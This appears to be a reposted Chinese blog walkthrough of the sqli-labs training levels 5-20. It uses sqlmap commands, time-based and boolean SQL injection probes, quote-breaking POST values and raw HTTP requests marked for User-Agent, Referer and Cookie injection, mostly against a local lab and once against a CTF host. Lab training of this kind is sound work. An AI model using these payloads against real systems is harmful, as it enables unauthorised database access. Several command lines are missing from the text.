对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)
个人简介:
萌新一枚,渣渣一个,全程划水,会喊六六
本文断断续续已经写了三天了,其中查过很多其他人的博文
但是发现大多数人关于sql-labs使用的都是手工注入,
由于自己太渣,只能去找工具去注入(QAQ)
希望各位大佬不要见怪呀!!
不论喜欢与否都可以留言哦!!!!
关于sqli-labs的解题技巧,使用sqlmap注入,尽量少使用手工注入的方式
关于sql-labs中的1-4我已经在另一篇文章中写出具体的过程:
https://www.cnblogs.com/lxz-1263030049/p/9363151.html
sqli-labs:5-9 需要判断注入方式
具体判断方式如下:
1:用于验证时间延迟型的盲注:
?id=1’ and sleep(5) --+
2:用于判断布尔型盲注:
?id=1’ and 1=1 --+ , ?id=1' and 2=1 --
+
再根据回显的不同进行判断:
主要使用的语句:
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0
或者:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs --batch
其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布尔型型注入) E:Error-based (报错型注入) U:Union query-based (联合注入) S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入) T:Time-based blind (基于时间延迟注入)
我们可以根据不同的报错提示更改—technique后面的字母
其中的—dbms : 不仅可以指定数据库类型,还可以指定数据库版本 --batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。 -v 0参数只是为了更好的截图.
第八题:
使用语句为:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs –batch
或者使用语句:
就可以得到数据库的信息
第九题
属于延迟注入的题目(具体判断方法上面已经给出)同样也可以使用上面类似的语句:
关于第11-17:
都是属于post注入的问题,只是内部参杂着盲注的问题,需要使用burp火狐浏览器的HackBar都是可以的·
第十一题:post注入,基于错误 - 字符型
根据post回显的值就可以进行sqlmap的跑测
:
使用的语句为:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --technique ES
其中的:
--data:后面可以加上数据段(post/get类型的都是可以的) --threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性
下面的只是需要常规的操作就可以了
第十二题:
也是类似的过程就可以了:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname= ")or ("1")=("1 &passwd= ")or ("1")=("1 &submit=Submit " --dbs --threads 10 --batch --technique E
或者使用语句:
第十三题:可以使用语句:
同样也是可以得到答案的(其他几个也是类似的手法)
第十五题:布尔和时间延迟的盲注,
简单的注入语句为:
下面就是属于sqli-labs 18-20,
这三题主要时关于http的内容
常见的HTTP注入点产生位置为
【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
第18题:报错型,单引号,user-agent型注入点
由于这一题时关于user-agent的注入直接使用语句:
python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BTES
关于txt的内容:
POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0* Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sqli-labs-master/Less-18/ Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: close Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit
就是属于burp里面的内容
-r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
或者也可以这样:
--user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息 sqlmap 检查uesr-agent中的注入点, lever>=3才会去检查user-agent头是否存在注入漏洞
第十九题:报错型,单引号,referer型注入点
这一题的做法如同上一题一样都可以使用:
python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BEST
只是存为1.txt的文档变成了这个:
POST /sqli-labs-master/Less-19/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sqli-labs-master/Less-19/* Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: close Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit
另外也可以使用这样的语句跑出数据库:
至于里面的一些内容上面已经有一些介绍了
下面是最后一题就是
第二十题:报错型,单引号,cookie型注入
对于最后一题,我就用一个最近一个看到的一题结束吧
题目链接:http://202.112.51.184:16080/
直接进行抓包看一下:
Cookie有问题,直接使用sqlmap进行注入‘
--cookie web应用基于cookie的身份验证,对于post请求,可以指定cookie sqlmap -u "url" --cookie="..." --level 3 –dbs
参考文章:
sql-labs Less : https://www.cnblogs.com/peterpan0707007/p/7620048.html
sqlmap注入总结:http://blog.51cto.com/wt7315/1841241
SQLI-LAB 的 实战记录(Less 11 - Less 20):https://blog.csdn.net/qq_21500173/article/details/51920968
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
区块链开发公司发展速度快 区块链技术的未来何去何从
区块链的概念最早源自比T币,已经存在近10年之久了。随着区块链近年来市场热度持续升温,越来越多的行业及企业开始关注区块链技术领域。 为什么说区块链是这么 火热?为什么说区块链是未来? 让我们来看看区块链未来发展趋势与可以应用在哪些行业 区块链行业是一个高科技行业,如今,随着区块链行业开始深入到各个细分行业,技术逐渐变成了一种手段,人们已经不能严格区分出怎样才是真正的区块链技术。 如果说“互联网+”的推进让更多的行业触网,那么区块链分享经济则为这些行业打开了一扇大门,让他们可以通过区块链更加迅速地变革传统的商业模式,聚品优优正是抓住这一关键点,实现全新的发展。 现在的区块链已经被应用于各行各业,被广大人名群众认识并认可,区块链技术的性质使人们就相信区块链是值得信任的,区块链在金融、医疗、政府、生活、社会、等等都可以用到,可谓是是一个全能的系统软件,也正因为如此,它的发展不仅仅智能局限在这些中,他依旧在突破,区块链技术的作用就是这样,服务于各个行业。 当前,区块链技术已经被世界认可,成为一种必然的发展趋势,各国都在抓紧布局以争夺高位。伴随而来的,是全世界的目光,马云说:“未来30年,是新技...
- 下一篇
第三题:有序二维数组查找问题
有序二维数组查找问题 问题描述 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序。请完 成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数。 解题思路 从第一行最右边的数开始比,如果比目标数小,则删除行;若等于,则返回true;若大,则删除列; java实现 private static boolean containTarget(int[][] arr, int target) { // TODO Auto-generated method stub int col=arr[0].length-1; int row=0; while(col>=0&&row<=arr.length-1) {//arr.length为二维数组的行数 if (arr[row][col]==target) { return true; }else if (arr[row][col]>target) { col--; }else if (arr[row][col]<target) { row++; } } re...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
-
Docker使用Oracle官方镜像安装(12C,18C,19C)
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS8编译安装MySQL8.0.19
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- MySQL8.0.19开启GTID主从同步CentOS8
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
推荐阅读
最新文章
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS6,CentOS7官方镜像安装Oracle11G
- SpringBoot2整合Redis,开启缓存,提高访问速度
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- Hadoop3单机部署,实现最简伪集群
- MySQL8.0.19开启GTID主从同步CentOS8
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果